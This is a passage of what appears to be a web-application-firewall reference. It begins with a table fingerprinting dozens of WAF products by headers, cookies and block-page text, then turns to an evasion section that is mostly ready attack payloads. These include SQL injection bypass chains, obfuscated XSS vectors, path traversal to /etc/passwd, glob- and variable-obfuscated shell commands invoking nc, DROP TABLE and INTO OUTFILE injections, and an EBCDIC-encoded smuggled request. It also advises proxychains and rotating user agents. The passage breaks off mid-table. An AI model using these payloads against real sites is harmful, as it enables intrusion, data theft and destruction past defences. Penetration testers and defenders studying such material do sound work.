<li>Blocked response page contains<br> <code>Access control configuration prevents your request from being allowed at this time.</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
StackPath
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Contains image displaying <code>StackPath</code> logo.</li>
<li>Blocked response page contains<br> <code>You performed an action that triggered the service and blocked your request</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Stingray
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response code returns <code>403 Forbidden</code> or <code>500 Internal Error</code>.</li>
<li>Response headers contain the <code>X-Mapping</code> header field name.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Sucuri CloudProxy
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers may contain <code>Sucuri</code> or <code>Cloudproxy</code> keywords.</li>
<li>Blocked response page contains the following text snippet:</li>
<ul>
<li><code>Access Denied - Sucuri Website Firewall</code> text.</li>
<li>Reference to <code>https://sucuri.net/privacy-policy</code> URL.</li>
<li>Sometimes the email <code>cloudproxy@sucuri.net</code>.</li>
<li>Contains copyright notice <code>;copy {year} Sucuri Inc</code>.</li>
</ul>
<li>Response headers contains <code>X-Sucuri-ID</code> header along with normal requests.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Synology Cloud
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page has <code>Copyright (c) 2019 Synology Inc. All rights reserved.</code>as text.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Tencent Cloud
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response code returns <code>405 Method Not Allowed</code> error.</li>
<li>Blocked response page contains reference to <code>waf.tencent-cloud.com</code> URL.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Teros
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain cookie field <code>st8id</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
TrafficShield
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> might contain <code>F5-TrafficShield</code> keyword.</li>
<li><code>ASINFO=</code> value might be detected in response cookies.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
TransIP
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain unique header <code>X-TransIP-Backend</code>.</li>
<li>Response headers contain another header <code>X-TransIP-Balancer</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
UCloud UEWaf
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response content might contain:
<ul>
<li>Reference to <code>/uewaf_deny_pages/default/img/</code> inurl directory.</li>
<li><code>ucloud.cn</code> URL.</li>
</ul>
<li>Response headers returned has <code>Server</code> header set to <code>uewaf/{version}</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
URLMaster SecurityCheck
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers might contain:
<ul>
<li><code>UrlMaster</code> keyword.</li>
<li><code>UrlRewriteModule</code> keyword.</li>
<li><code>SecurityCheck</code> keyword.</li>
</ul>
<li>Blocked response code returned is <code>400 Bad Request</code> text snippet.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
URLScan
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li></li>
<li>Blocked response page contains:</li>
<ul>
<li><code>Rejected-by-URLScan</code> text snippet.</li>
<li><code>Server Erro in Application</code> as heading.</li>
<li><code>Module: IIS Web Core</code> in table.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
USP Secure Entry
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>Secure Entry Server</code> field value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Varnish (OWASP)
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Malicious request returns <code>404 Not Found</code> Error.</li>
<li>Response page contains:</li>
<ul>
<li><code>Request rejected by xVarnish-WAF</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Varnish CacheWall
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains:</li>
<ul>
<li><code>Error 403 Naughty, not Nice!</code> as heading.</li>
<li><code>Varnish cache Server</code> as text.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Viettel
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains:</li>
<ul>
<li>Block page has title set to <code>Access denied · Viettel WAF</code>.</li>
<li>Reference to <code>https://cloudrity.com.vn/</code> URL.</li>
<li>Response page contains keywords <code>Viettel WAF system</code>.</li>
<li>Contact information reference to <code>https://cloudrity.com.vn/customer/#/contact</code> URL.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
VirusDie
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains:</li>
<ul>
<li><code>http://cdn.virusdie.ru/splash/firewallstop.png</code> picture.</li>
<li><code>copy; Virusdie.ru</p></code> copyright notice.</li>
<li>Response page title contains <code>Virusdie</code> keyword.</li>
<li>Page metadata contains <code>name="FW_BLOCK"</code> keyword</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WallArm
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> headers contain <code>nginx-wallarm</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WatchGuard IPS
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> headers may contain <code>WatchGuard</code> field value.</li>
<li>Blocked response page contains: </li>
<ul>
<li><code>Request denied by WatchGuard Firewall</code> text.</li>
<li><code>WatchGuard Technologies Inc.</code> as footer.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WebARX Security
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Restricted to specifically WordPress sites only.</li>
<li>Blocked response page contains: </li>
<ul>
<li><code>This request has been blocked by WebARX Web Application Firewall</code> text.</li>
<li>Reference to <code>/wp-content/plugins/webarx/</code> directory where it is installed.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WebKnight
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>WebKnight</code> keyword.</li>
<li>Blocked response page contains:</li>
<ul>
<li><code>WebKnight Application Firewall Alert</code> text warning.</li>
<li><code>AQTRONIX WebKnight</code> text snippet.</li>
</ul>
<li>Blocked response code returned is <code>999 No Hacking</code>. :p</li>
<li>Blocked response code returned is also <code>404 Hack Not Found</code>. :p</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WebLand
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>Apache Protected By WebLand WAF</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WebRay
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>WebRay-WAF</code> keyword.</li>
<li>Response headers may have <code>DrivedBy</code> field with value <code>RaySrv RayEng/{version}</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WebSEAL
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contain <code>WebSEAL</code> keyword.</li>
<li>Blocked response page contains:</li>
<ul>
<li><code>This is a WebSEAL error message template file</code> text.</li>
<li><code>WebSEAL server received an invalid HTTP request</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WebTotem
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>The current request was blocked by WebTotem</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
West263CDN
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>X-Cache</code> header field with <code>WT263CDN</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Wordfence
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>WebKnight</code> keyword.</li>
<li>Blocked response page contains:</li>
<ul>
<li><code>Generated by Wordfence</code> text snippet.</li>
<li><code>A potentially unsafe operation has been detected in your request to this site</code> text warning.</li>
<li><code>Your access to this site has been limited</code> text warning.</li>
<li><code>This response was generated by Wordfence</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
WTS-WAF
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page title has <code>WTS-WAF</code> keyword.</li>
<li><code>Server</code> header contains <code>wts</code> as value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
XLabs Security WAF
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>X-CDN</code> header field with <code>XLabs Security</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Xuanwudun WAF
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains reference to <code>http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/</code> site URL.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Yunaq Chuangyu
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page has reference to:
<ul>
<li><code>365cyd.com</code> or <code>365cyd.net</code> URL.</li>
<li>Reference to help page at <code>http://help.365cyd.com/cyd-error-help.html?code=403</code>.</li>
</ul>
</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Yundun
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>YUNDUN</code> as value.</li>
<li><code>X-Cache</code> header field contains <code>YUNDUN</code> as value.</li>
<li>Response page contains <code>Blocked by YUNDUN Cloud WAF</code> text snippet.</li>
<li>Blocked response page contains reference to <code>yundun.com/yd_http_error/</code> URL.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Yunsuo
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains image class reference to <code>yunsuologo</code>.</li>
<li>Response headers contain the <code>yunsuo_session</code> field name.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
YxLink
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response might have <code>yx_ci_session</code> cookie field.</li>
<li>Response might have <code>yx_language</code> cookie field.</li>
<li><code>Server</code> header contains <code>Yxlink-WAF</code> field value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ZenEdge
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains reference to <code>/__zenedge/assets/</code> directory.</li>
<li><code>Server</code> header contain <code>ZENEDGE</code> keyword.</li>
<li>Blocked response headers may contain <code>X-Zen-Fury</code> header.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ZScaler
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header has value set to <code>ZScaler</code>.</li>
<li>Blocked response page contains:
<ul>
<li><code>Access Denied: Accenture Policy</code> text.</li>
<li>Reference to <code>https://policies.accenture.com</code> URL.</li>
<li>Reference to image at <code>https://login.zscloud.net/img_logo_new1.png</code>.</li>
<li><code>Your organization has selected Zscaler to protect you from internet threats</code>.</li>
<li><code>The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate</code>.</li>
</ul>
</li>
</ul>
</ul>
</td>
</tr>
</table>
## Evasion Techniques
Lets look at some methods of bypassing and evading WAFs.
### Fuzzing/Bruteforcing:
#### Method:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing
- [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing).
- [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)
- [Other Payloads](https://github.com/foospidy/payloads)
#### Technique:
- Load up your wordlist into fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
- Always use proxychains, since chances are real that your IP gets blocked.
#### Drawbacks:
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
### Regex Reversing:
#### Method:
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
#### Techniques:
### Blacklisting Detection/Bypass
- In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
- The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.
__Case__: SQL Injection
##### • Step 1:
__Keywords Filtered__: `and`, `or`, `union`
__Probable Regex__: `preg_match('/(and|or|union)/i', $id)`
- __Blocked Attempt__: `union select user, password from users`
- __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'`
##### • Step 2:
__Keywords Filtered__: `and`, `or`, `union`, `where`
- __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'`
##### • Step 3:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`
- __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
##### • Step 4:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`
- __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
##### • Step 5:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`
- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`
##### • Step 6:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || user_id is not null`
- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`
- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`
##### • Step 7:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`
- __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)`
- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
##### • Step 8:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`
- __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
- __Bypassed Injection__: `1 || lpad(user,7,1)`
##### • Step 9:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space`
- __Blocked Attempt__: `1 || lpad(user,7,1)`
- __Bypassed Injection__: `1%0b||%0blpad(user,7,1)`
### Obfuscation:
#### Method:
- Encoding payload to different encodings (a hit and trial approach).
- You can encode whole payload, or some parts of it and test recursively.
#### Techniques:
__1. Case Toggling__
- Some poorly developed WAFs filter selectively specific case WAFs.
- We can combine upper and lower case characters for developing efficient payloads.
__Standard__: `<script>alert()</script>`
__Bypassed__: `<ScRipT>alert()</sCRipT>`
__Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'`
__Bypassed__: `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'`
__2. URL Encoding__
- Encode normal payloads with % encoding/URL encoding.
- Can be done with online tools like [this](https://www.url-encode-decode.com/).
- Burp includes a in-built encoder/decoder.
__Blocked__: `<svG/x=">"/oNloaD=confirm()//`
__Bypassed__: `%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F`
__Blocked__: `uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)`
__Bypassed__: `uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29`
__3. Unicode Normalization__
- ASCII characters in unicode encoding encoding provide great variants for bypassing.
- You can encode entire/part of the payload for obtaining results.
__Standard__: `<marquee onstart=prompt()>`
__Obfuscated__: `<marquee onstart=\u0070r\u06f\u006dpt()>`
__Blocked__: `/?redir=http://google.com`
__Bypassed__: `/?redir=http://google。com` (Unicode alternative)
__Blocked__: `<marquee loop=1 onfinish=alert()>x`
__Bypassed__: `＜marquee loop＝1 onfinish＝alert︵1)>x` (Unicode alternative)
> __TIP:__ Have a look at [this](https://hackerone.com/reports/231444) and [this](https://hackerone.com/reports/231389) reports on HackerOne. :)
__Standard__: `../../etc/passwd`
__Obfuscated__: `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd`
__4. HTML Representation__
- Often web apps encode special characters into HTML encoding and render them accordingly.
- This leads us to basic bypass cases with HTML encoding (numeric/generic).
__Standard__: `"><img src=x onerror=confirm()>`
__Encoded__: `"><img src=x onerror=confirm()>` (General form)
__Encoded__: `"><img src=x onerror=confirm()>` (Numeric reference)
__5. Mixed Encoding__
- Sometimes, WAF rules often tend to filter out a specific type of encoding.
- This type of filters can be bypassed by mixed encoding payloads.
- Tabs and newlines further add to obfuscation.
__Obfuscated__:
```
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
```
__6. Using Comments__
- Comments obfuscate standard payload vectors.
- Different payloads have different ways of obfuscation.
__Blocked__: `<script>alert()</script>`
__Bypassed__: `<!--><script>alert/**/()/**/</script>`
__Blocked__: `/?id=1+union+select+1,2,3--`
__Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
__7. Double Encoding__
- Often WAF filters tend to encode characters to prevent attacks.
- However poorly developed filters (no recursion filters) can be bypassed with double encoding.
__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
__Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
__Standard__: `<script>alert()</script>`
__Obfuscated__: `%253Cscript%253Ealert()%253C%252Fscript%253E`
__8. Wildcard Obfuscation__
- Globbing patterns are used by various command-line utilities to work with multiple files.
- We can tweak them to execute system commands.
- Specific to remote code execution vulnerabilities on linux systems.
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: `/???/??t /???/??ss??`
Used chars: `/ ? t s`
__Standard__: `/bin/nc 127.0.0.1 1337`
__Obfuscated__: `/???/n? 2130706433 1337`
Used chars: `/ ? n [0-9]`
__9. Dynamic Payload Generation__
- Different programming languages have different syntaxes and patterns for concatenation.
- This allows us to effectively generate payloads that can bypass many filters and rules.
__Standard__: `<script>alert()</script>`
__Obfuscated__: `<script>eval('al'+'er'+'t()')</script>`
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash allows path concatenation for execution.
__Standard__: `<iframe/onload='this["src"]="javascript:alert()"';>`
__Obfuscated__: `<iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';>`
__9. Junk Characters__
- Normal payloads get filtered out easily.
- Adding some junk chars helps avoid detection (specific cases only).
- They often help in confusing regex based firewalls.
__Standard__: `<script>alert()</script>`
__Obfuscated__: `<script>+-+-1-+-+alert(1)</script>`
__Standard__: `<BODY onload=alert()>`
__Obfuscated__: ```<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>```
> __NOTE:__ The above payload can break the regex parser to cause an exception.
__Standard__: `<a href=javascript;alert()>ClickMe `
__Bypassed__: `<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe`
__10. Line Breaks__
- Many WAF with regex based filtering effectively blocks many attempts.
- Line breaks (CR/LF) can break firewall regex and bypass stuff.
__Standard__: `<iframe src=javascript:confirm(0)">`
__Obfuscated__: `<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">`
__11. Uninitialized Variables__
- Uninitialized bash variables can evade bad regular expression based filters and pattern match.
- These have value equal to null/they act like empty strings.
- Both bash and perl allow this kind of interpretations.
> __BONUS:__ Variable names can have any number of random characters. I have represented them here as `$aaaaaa`, `$bbbbbb`, and so on. You can replace them with any number of random chars like `$ushdjah` and so on. ;)
- __Level 1 Obfuscation__: Normal
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: `/bin/cat$u /etc/passwd$u`
- __Level 2 Obfuscation__: Postion Based
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: <code>$u<b>/bin</b>$u<b>/cat</b>$u $u<b>/etc</b>$u<b>/passwd</b>$u</code>
- __Level 3 Obfuscation__: Random characters
__Standard__: `/bin/cat /etc/passwd`
__Obfuscated__: <code>$aaaaaa<b>/bin</b>$bbbbbb<b>/cat</b>$ccccccc $dddddd<b>/etc</b>$eeeeeee<b>/passwd</b>$fffffff</code>
An exotic payload crafted:
```
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
```
__12. Tabs and Line Feeds__
- Tabs often help to evade firewalls especially regex based ones.
- Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.
__Standard__: `<IMG SRC="javascript:alert();">`
__Bypassed__: `<IMG SRC=" javascript:alert();">`
__Variant__: `<IMG SRC=" jav ascri pt:alert ();">`
__Standard__: `http://test.com/test?id=1 union select 1,2,3`
__Standard__: `http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3`
__Standard__: `<iframe src=javascript:alert(1)></iframe>`
__Obfuscated__:
```
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
```
__13. Token Breakers__
- Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
- Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
- However, the request must still remain valid while using token-breakers.
- __Case__: Unknown Token for the Tokenizer
- __Payload__: `?id=‘-sqlite_version() UNION SELECT password FROM users --`
- __Case__: Unknown Context for the Parser (Notice the uncontexted bracket)
- __Payload 1__: `?id=123);DROP TABLE users --`
- __Payload 2__: `?id=1337) INTO OUTFILE ‘xxx’ --`
> __TIP:__ More payloads can be crafted via this [cheat sheet](https://github.com/attackercan/cpp-sql-fuzzer).
__14. Obfuscation in Other Formats__
- Many web applications support different encoding types and can interpret the encoding (see below).
- Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
__Case:__ IIS
- IIS6, 7.5, 8 and 10 (ASPX v4.x) allow __IBM037__ character interpretations.
- We can encode our payload and send the encoded parameters with the query.
Original Request:
```
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
```
Obfuscated Request + URL Encoding:
```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
```
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
> __TIP:__ You can use [this small python script](others/obfu.py) to convert your payloads and parameters to your desired encodings.
<table>
<tr>
<td width="20%" align="center"><b>Target</b></td>
<td width="35%" align="center"><b>Encodings</b></td>
<td width="55%" align="center"><b>Notes</b></td>
</tr>
<tr>
<td>Nginx, uWSGI-Django-Python3</td>
<td>IBM037, IBM500, cp875, IBM1026, IBM273</td>
<td>
<ul>
<li>Query string and body need to be encoded.</li>
<li>Url-decoded parameters in query string and body.</li>
<li>Equal sign and ampersand needed to be encoded as well (no url-encoding).</li>
</ul>
</td>
</tr>
<tr>
<td>Nginx, uWSGI-Django-Python2</td>
<td>IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424</td>
<td>
<ul>
<li>Query string and body need to be encoded.</li>
<li>Url-decoded parameters in query string and body afterwards.</li>
<li>Equal sign and ampersand should not be encoded in any way.</li>
</ul>
</td>
</tr>
<tr>
<td>Apache-TOMCAT8-JVM1.8-JSP</td>
<td>IBM037, IBM500, IBM870, cp875, IBM1026,
IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,
IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,
utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,
IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,
IBM424, IBM-Thai, IBM871, cp1025</td>
<td>
<ul>
<li>Query string in its original format (could be url-encoded as usual).</li>
<li>Body could be sent with/without url-encoding.</li>
<li>Equal sign and ampersand should not be encoded in any way.</li>
</ul>
</td>
</tr>
<tr>
<td>Apache-TOMCAT7-JVM1.6-JSP</td>
<td>IBM037, IBM500, IBM870, cp875, IBM1026,
IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,
IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,
utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,
IBM280, IBM284, IBM285, IBM297, IBM420, IBM424,
IBM-Thai, IBM871, cp1025</td>
<td>
<ul>
<li>Query string in its original format (could be url-encoded as usual).</li>
<li>Body could be sent with/without url-encoding.</li>
<li>Equal sign and ampersand should not be encoded in any way.</li>
</ul>
</td>
</tr>
<tr>
<td>IIS6, 7.5, 8, 10 -ASPX (v4.x)</td>
<td>IBM037, IBM500, IBM870, cp875, IBM1026,
IBM01047, IBM01140, IBM01141, IBM01142, IBM01143,
IBM01144, IBM01145, IBM01146, IBM01147, IBM01148,
IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE,
IBM273, IBM277, IBM278, IBM280, IBM284, IBM285,
IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended,
IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025</td>
<td>
<ul>
<li>Query string in its original format (could be url-encoded as usual).</li>
<li>Body could be sent with/without url-encoding.</li>
<li>Equal sign and ampersand should not be encoded in any way.</li>
</ul>
</td>
</tr>
</table>
### HTTP Parameter Pollution
#### Method:
- This attack method is based on how a server interprets parameters with the same names.
- Possible bypass chances here are:
- The server uses the last received parameter, and WAF checks only the first.
- The server unites the value from similar parameters, and WAF checks them separately.
#### Technique:
- The idea is to enumerate how the parameters are being interpreted by the server.
- In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
- Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
<table>
<tr>
<td width="40%" align="center"><b>Environment</b></td>
<td width="40%" align="center"><b>Parameter Interpretation</b></td>
<td align="center"><b>Example</b></td>
</tr>
<tr>
<td align="center">ASP/IIS</td>
<td align="center">Concatenation by comma</td>
<td align="center">par1=val1,val2</td>
</tr>
<tr>
<td align="center">JSP, Servlet/Apache Tomcat</td>
<td align="center">First parameter is resulting</td>
<td align="center">par1=val1</td>
</tr>
<tr>
<td align="center">ASP.NET/IIS</td>
<td align="center">Concatenation by comma</td>
<td align="center">par1=val1,val2</td>
</tr>
<tr>
<td align="center">PHP/Zeus</td>
<td align="center">Last parameter is resulting</td>
<td align="center">par1=val2</td>
</tr>
<tr>
<td align="center">PHP/Apache</td>
<td align="center">Last parameter is resulting</td>
<td align="center">par1=val2</td>
</tr>
<tr>
<td align="center">JSP, Servlet/Jetty</td>
<td align="center">First parameter is resulting</td>
<td align="center">par1=val1</td>
</tr>
<tr>
<td align="center">IBM Lotus Domino</td>
<td align="center">First parameter is resulting</td>
<td align="center">par1=val1</td>
</tr>
<tr>
